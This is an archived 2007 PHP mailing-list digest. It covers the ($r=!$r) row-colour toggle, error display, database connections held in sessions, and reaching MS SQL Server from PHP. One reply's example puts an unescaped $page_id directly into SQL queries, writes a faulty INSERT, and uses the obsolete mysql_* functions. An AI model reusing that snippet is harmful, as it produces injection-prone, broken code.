!$r){ echo Yes\n; }else{ echo No\n; } echo $r.\n; if($r = !$r){ echo Yes\n; }else{ echo No\n; } echo $r.\n; echo /pre; ? Returns Yes 1 No Yes 1 No Yes 1 No Yes 1 No It looks like PHP has an unintentional feature. Doing this; if($r = !$r) should always return TRUE because it is an assignment. I don't know if I would rely on this. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Alternate Colors in Rows ($r=!$r)
Nathan Nobbe wrote: personally, i wont argue w/ the compact nature of the statement; its nice. I agree. Very elegant. Thanks for the clarifications, folks. its mysterious statements like this that make code fragile, imho. i prefer the modulus approach. I would have agreed before reading the clarification. Not so sure now... At the risk of semantic nitpicking, and only because I find this discussion stimulating (pity us poor geeks), I might call ($r=!$r) esoteric rather than mysterious, even though I'm the one who asked the question, suggesting it was a mystery to me. Garsh: In the early days, I thought I had to write: if ( strval($somevar) 0 ) or if ( $somevar ) === true ) and found: if ( strval($somevar) ) and if ( $somevar ) mysterious. ! I suppose my point is that some things start out as mysterious simply because they are a bit esoteric, further down in the manual. But I agree with you, Nathan, in principle, about mysterious code making things fragile. When I first got comfortable with the ternary operator, I went crazy trying to write cool one-liner conditional statements with it. Then, months (or even days) later, when I needed to make changes to those one-liners, I had to scratch my head a lot to figure out what was what. I've since decided that sometimes, in the interest of de-mystifying my own code, there's nothing like a good old IF loop. My $0.02. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] Alternate Colors in Rows ($r=!$r)
On Fri, 2007-10-05 at 14:17 -0500, Jay Blanchard wrote: [snip] if($r = !$r) [/snip] And I hit send before I finished my thought process oh my goodness isn't it five o'clock yet and why do all of these people keep coming by my office distracting me from getting something useful done like replying the PHP list and why doesn't someone bring me a beer? if($r = !$r) is a conditional check that most folks would read as follows; if the assignment of $r to !$r occurs the statement is TRUE. Since PHP is loosely typed we all know that an assignment will occur regardless of what is assigned. That why we use additional operators to determine the TRUEness of a statement; if($r == !$r) or if($r === !$r) That is why we code conditional checks (if we're smart) by putting the constant on the left hand side of the check to reduce/locate typographical errors when coding conditional checks; if(1 == $foo), because if we assign $foo to 1 the compiler will throw an error and we can fix it pretty quickly. I never do that. It's unnatural to read. But others get good mileage out of it. This is one of those special cases where this logic gets thrown out. I am going to see if the same thing will work in C++ because I am pretty sure that no other language has this featuremaybe C. It is legal in C, C++, Java, JavaScript, SmallTalk, probably almost every other language out there. However, convention I believe is to place an extra set of parenthesis around the assignment for clarity. In fact, many C compilers will spout a warning if you don't put the extra set of parenthesis around the assignment. Example: if( ($r = !$r) ) Cheers, Rob. -- ... SwarmBuy.com - http://www.swarmbuy.com Leveraging the buying power of the masses! ... -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Alternate Colors in Rows ($r=!$r)
On 10/5/07, Jay Blanchard [EMAIL PROTECTED] wrote: It looks like PHP has an unintentional feature. Doing this; if($r = !$r) should always return TRUE because it is an assignment. I don't know if I would rely on this. its not an unintentional operation; its the order of operations. logical ! and the ternary ? : takes precedence over the assignment statement = http://us.php.net/manual/en/language.operators.php personally, i wont argue w/ the compact nature of the statement; its nice. its mysterious statements like this that make code fragile, imho. i prefer the modulus approach. -nathan
Re: [PHP] error messages
2007. 10. 5, péntek keltezéssel 12.57-kor tedd ezt írta: At 10:38 PM -0700 10/4/07, tbt wrote: Hi I'm a newbie to php and i would like to know a way of viewing runtime errors on the browser. Currently when an error occurs nothing is displayed on the browser. Is there any way of viewing all error messages on the browser itself. Thanks tbt: Welcome to the jungle. What Paul said is correct, but you must also realize that not all errors will be shown even with the error reporting on. For example, just leaving a ; from a line termination will cause the browser window to display nothing. This was the hardest thing I had to get used to in programming php and still have problem with editing large amounts of code. So, I suggest that you go in baby steps, test frequently, back-up what worked, and comment out sections of code to eventually isolate the offending statement(s). I long for the time where my editor said Offending syntax on line 236. my editor still says parse error and shows me the line number... ;) greets Zoltán Németh Cheers, tedd -- --- http://sperling.com http://ancientstones.com http://earthstones.com -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] Alternating Anything
its mysterious statements like this that make code fragile, imho. i prefer the modulus approach. I would have agreed before reading the clarification. Not so sure now... At the risk of semantic nitpicking, and only because I find this discussion stimulating (pity us poor geeks), I might call ($r=!$r) esoteric rather than mysterious, even though I'm the one who asked the question, suggesting it was a mystery to me. That's why I use: $toggle = !$toggle; or $toggleNameOfWhatIsBeingToggled = !$toggleNameOfWhatIsBeingToggled; _ Peek-a-boo FREE Tricks Treats for You! http://www.reallivemoms.com?ocid=TXT_TAGHMloc=us
[PHP] MySQL and SESSIONs
Hi all, is it somehow possible to store the connection reference obtained from mysql_connect() (note the absence of the i) in a $_SESSION element? -- Stefano Esposito -- Email.it, the professional e-mail, gratis per te: http://www.email.it/f Sponsor: Problemi di Liquidità? Con Logos Finanziaria 30.000 in 24 ore a dipendenti e lavoratori autonomi con rimborsi fino a 120 mesi clicca qui * Clicca qui: http://adv.email.it/cgi-bin/foclick.cgi?mid=2907d=5-10 -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] MySQL and SESSIONs
Stefano Esposito wrote: is it somehow possible to store the connection reference obtained from mysql_connect() (note the absence of the i) in a $_SESSION element? No. Why would you want to? You'd end up holding on to a database connection even when nothing is using it. If you want to optimise things look at http://php.net/mysql_pconnect but bear in mind that this starts to suck if you scale up to multiple web servers. -Stut -- http://stut.net/ -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] MySQL and SESSIONs
Stut What's good for multiple webservers? thanks -Original Message- From: Stut [mailto:[EMAIL PROTECTED] Sent: Friday, October 05, 2007 4:31 PM To: Stefano Esposito Cc: php-general@lists.php.net Subject: Re: [PHP] MySQL and SESSIONs Stefano Esposito wrote: is it somehow possible to store the connection reference obtained from mysql_connect() (note the absence of the i) in a $_SESSION element? No. Why would you want to? You'd end up holding on to a database connection even when nothing is using it. If you want to optimise things look at http://php.net/mysql_pconnect but bear in mind that this starts to suck if you scale up to multiple web servers. -Stut -- http://stut.net/ -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] MySQL and SESSIONs
Vo, Lance wrote: What's good for multiple webservers? thanks * DO NOT USE PERSISTANT CONNECTIONS * Minimise the amount of time you keep a database connection open during a request. Good logic/presentation separation helps a lot here. * Cache the crap out of everything - don't hit the DB unless you really need to. -Stut -- http://stut.net/ -Original Message- From: Stut [mailto:[EMAIL PROTECTED] Sent: Friday, October 05, 2007 4:31 PM To: Stefano Esposito Cc: php-general@lists.php.net Subject: Re: [PHP] MySQL and SESSIONs Stefano Esposito wrote: is it somehow possible to store the connection reference obtained from mysql_connect() (note the absence of the i) in a $_SESSION element? No. Why would you want to? You'd end up holding on to a database connection even when nothing is using it. If you want to optimise things look at http://php.net/mysql_pconnect but bear in mind that this starts to suck if you scale up to multiple web servers. -Stut -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Empty Array?
At 7:43 AM -0400 10/5/07, Dan Shirah wrote: Ah, what a lovely case of the Friday morning brain farts! I have a query that selects some data from a table based on the current ID selected. If the query does not return any results, I want it to continue to another query that will insert a record into the table. Dan: I wouldn't check for an empty array, but rather if affected rows 0 -- like so: // check to see if there is a record for this page $query = SELECT * FROM pages WHERE page_id = $page_id; $result = mysql_query($query) or die('Error, query 1 failed ' . mysql_error(). $query); $seg = mysql_real_escape_string($segment); if (mysql_affected_rows() 0) // if record exist then add data to it { $query = UPDATE pages SET segment_id= '$seg' WHERE page_id= '$page_id' ; $result = mysql_query($query) or die('Error, query 2 failed ' . $query); } else// else create new record and then add data to it { $query = INSERT INTO pages ($page_id, segment_id) VALUES ( '$page_id' , '$seg' ); $result = mysql_query($query) or die('Error, query 3 failed ' . mysql_error()); } Cheers, tedd -- --- http://sperling.com http://ancientstones.com http://earthstones.com -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Empty Array?
At 7:43 AM -0400 10/5/07, Dan Shirah wrote: Ah, what a lovely case of the Friday morning brain farts! I have a query that selects some data from a table based on the current ID selected. If the query does not return any results, I want it to continue to another query that will insert a record into the table. if you don't actually need to know inside of PHP whether or not it exists, you can skip the PHP work and have mysql do it for you: http://dev.mysql.com/doc/refman/5.0/en/insert-on-duplicate.html -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Sessions running out of storage space - Increase memory?
It's already in an array format. I don't remember off the top of my head but there's some function like resultsarray which turns the resutls into an array. I'm already storing the array in the session. John A DAVIS [EMAIL PROTECTED] wrote in message news:[EMAIL PROTECTED] stick in in an array in a session Dan [EMAIL PROTECTED] 10/3/2007 2:21 PM I need to retrieve a huge amount of data form a database and do so many times. To eliminate the overhead of connecting to the database and pulling down all that info over and over, I'm trying to pull it down only once and stick it into a session. The problem is I get the first few results and everything works fine. But then after those first 5 or so I only get 0's. My first thought is that this is because of a limit on memory that sessions can take up or file size/space where the sessions are stored. I looked in the PHP.INI and I didn't find anything though. Any ideas on how to fix this problem or a more elegant solution to my huge data needs? - Dan -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Connect PHP to Remote SQL Server?
Apache and PHP 4.3.9 are on a *nix server and we don't have root access, HOWEVER we can have the tech support perform pretty much any action except re-compile PHP (for which they charge), but I'm hoping i could dynamically load extensions during run-time. I just need to know which extensions. PHP has been compiled with unixODBC and dbx (there is no mssql extension on the server). These look like likely tools for a SQL server connection, but nothing works. I can't find anything about unixODBC in relation to PHP, unless FreeTDS is mentioned as well. I tried loading odbc.so during runtime, but it can't be found. Same for mssql.so. Should we add these files to the extensions dir for use with dl()? Should we install FreeTDS? Should we do both? How can we do this without recompiling PHP? I have the remote SQL server IP, the port number, the username and the password. The web server IP has been added to the allow list for the SQL Server. Any advice will be welcome. Thanks in advance! Leaning on the PHP list, Jason
Re: [PHP] Connect PHP to Remote SQL Server?
On 10/5/07, Jason Paschal [EMAIL PROTECTED] wrote: Apache and PHP 4.3.9 are on a *nix server and we don't have root access, HOWEVER we can have the tech support perform pretty much any action except re-compile PHP (for which they charge), but I'm hoping i could dynamically load extensions during run-time. I just need to know which extensions. i'd say mssql from freetds. I tried loading odbc.so during runtime, but it can't be found. Same for mssql.so. Should we add these files to the extensions dir for use with dl()? Should we install FreeTDS? Should we do both? if they're not there they can't be loaded. i would say use freetds since i've used it in the past. not sure about what is the best nowadays for sql server 2k/etc. i used freeTDS with php 4 to connect to mssql. i forget wihch version. maybe 6.0, maybe 7.0 if there was one? i'm thinking there is a way for ODBC to connect but again, no clue. How can we do this without recompiling PHP? i don't think you can. note: with freetds you have to do something like putenv('TDSVER=70'); before connecting if you're having issues. you may have to google for that too. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Connect PHP to Remote SQL Server?
Jason Paschal wrote: Apache and PHP 4.3.9 are on a *nix server and we don't have root access, HOWEVER we can have the tech support perform pretty much any action except re-compile PHP (for which they charge), but I'm hoping i could dynamically load extensions during run-time. I just need to know which extensions. PHP has been compiled with unixODBC and dbx (there is no mssql extension on the server). These look like likely tools for a SQL server connection, but nothing works. I can't find anything about unixODBC in relation to PHP, unless FreeTDS is mentioned as well. I tried loading odbc.so during runtime, but it can't be found. Same for mssql.so. Should we add these files to the extensions dir for use with dl()? Should we install FreeTDS? Should we do both? How can we do this without recompiling PHP? I have the remote SQL server IP, the port number, the username and the password. The web server IP has been added to the allow list for the SQL Server. Any advice will be welcome. Thanks in advance! Leaning on the PHP list, Jason I have seen reference to people using the sybase extension to connect to a MSSQL server before. Here is a reference from the php.net web site. http://us.php.net/manual/en/ref.sybase.php#54147 Jim -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php